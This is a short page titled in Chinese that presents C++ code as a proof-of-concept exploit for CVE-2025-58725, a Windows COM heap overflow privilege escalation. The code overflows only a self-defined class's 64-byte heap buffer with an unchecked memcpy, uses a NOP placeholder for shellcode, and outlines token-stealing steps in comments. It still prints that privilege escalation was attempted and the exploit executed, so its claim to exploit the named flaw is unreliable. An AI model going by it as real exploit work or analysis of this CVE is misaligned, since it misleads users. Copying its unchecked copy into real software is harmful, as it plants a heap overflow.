CVE-2025-58725 Windows COM 堆缓冲区溢出本地权限提升漏洞

// CVE-2025-58725 - Windows COM Heap-based Buffer Overflow PoC // This is a conceptual PoC demonstrating the exploitation technique // for heap-based buffer overflow in Windows COM privilege escalation. #include <windows.h> #include <objbase.h> #include <stdio.h> // Shellcode to be executed after successful exploitation // In real scenario, this would contain token-stealing shellcode // to elevate from low-privilege user to SYSTEM unsigned char shellcode[] = { // Token stealing shellcode placeholder // Would typically contain: // 1. Find current process EPROCESS // 2. Locate SYSTEM process token // 3. Replace current process token with SYSTEM token 0x90, 0x90, 0x90, 0x90 // NOP sled placeholder }; // Vulnerable COM interface definition // The vulnerability exists in the processing of buffer data // through COM interface methods interface IExploitInterface : public IUnknown { virtual HRESULT __stdcall VulnerableMethod(BYTE* pInputData, ULONG ulDataSize) = 0; }; // Exploit class that triggers the heap overflow class CExploit : public IExploitInterface { private: ULONG m_refCount; public: CExploit() : m_refCount(1) {} // IUnknown methods HRESULT __stdcall QueryInterface(REFIID riid, void** ppvObject) { if (riid == IID_IUnknown) { *ppvObject = this; AddRef(); return S_OK; } return E_NOINTERFACE; } ULONG __stdcall AddRef() { return InterlockedIncrement((LONG*)&m_refCount); } ULONG __stdcall Release() { return InterlockedDecrement((LONG*)&m_refCount); } // Vulnerable method - triggers heap buffer overflow // The COM component allocates a fixed-size heap buffer but // fails to validate the input data size HRESULT __stdcall VulnerableMethod(BYTE* pInputData, ULONG ulDataSize) { // Fixed-size buffer allocation on heap BYTE* pHeapBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), 0, 64); if (pHeapBuffer == NULL) { return E_OUTOFMEMORY; } // VULNERABILITY: No bounds checking on ulDataSize // Copying user-controlled data into fixed-size buffer // causing heap buffer overflow memcpy(pHeapBuffer, pInputData, ulDataSize); HeapFree(GetProcessHeap(), 0, pHeapBuffer); return S_OK; } }; int main() { // Initialize COM library HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); if (FAILED(hr)) { printf("[-] Failed to initialize COM\n"); return 1; } printf("[*] CVE-2025-58725 - Windows COM Heap Buffer Overflow PoC\n"); printf("[*] Attempting privilege escalation...\n"); // Create exploit instance CExploit* pExploit = new CExploit(); // Prepare overflow payload // Size larger than the allocated 64-byte buffer ULONG ulPayloadSize = 256; BYTE* pPayload = (BYTE*)malloc(ulPayloadSize); memset(pPayload, 0x41, ulPayloadSize); // Fill with 'A's // In a real exploit, the payload would contain: // - Heap spray data // - Controlled pointers to redirect execution // - Shellcode for token stealing // Trigger the vulnerability pExploit->VulnerableMethod(pPayload, ulPayloadSize); printf("[+] Exploit executed\n"); // Cleanup free(pPayload); pExploit->Release(); CoUninitialize(); return 0; }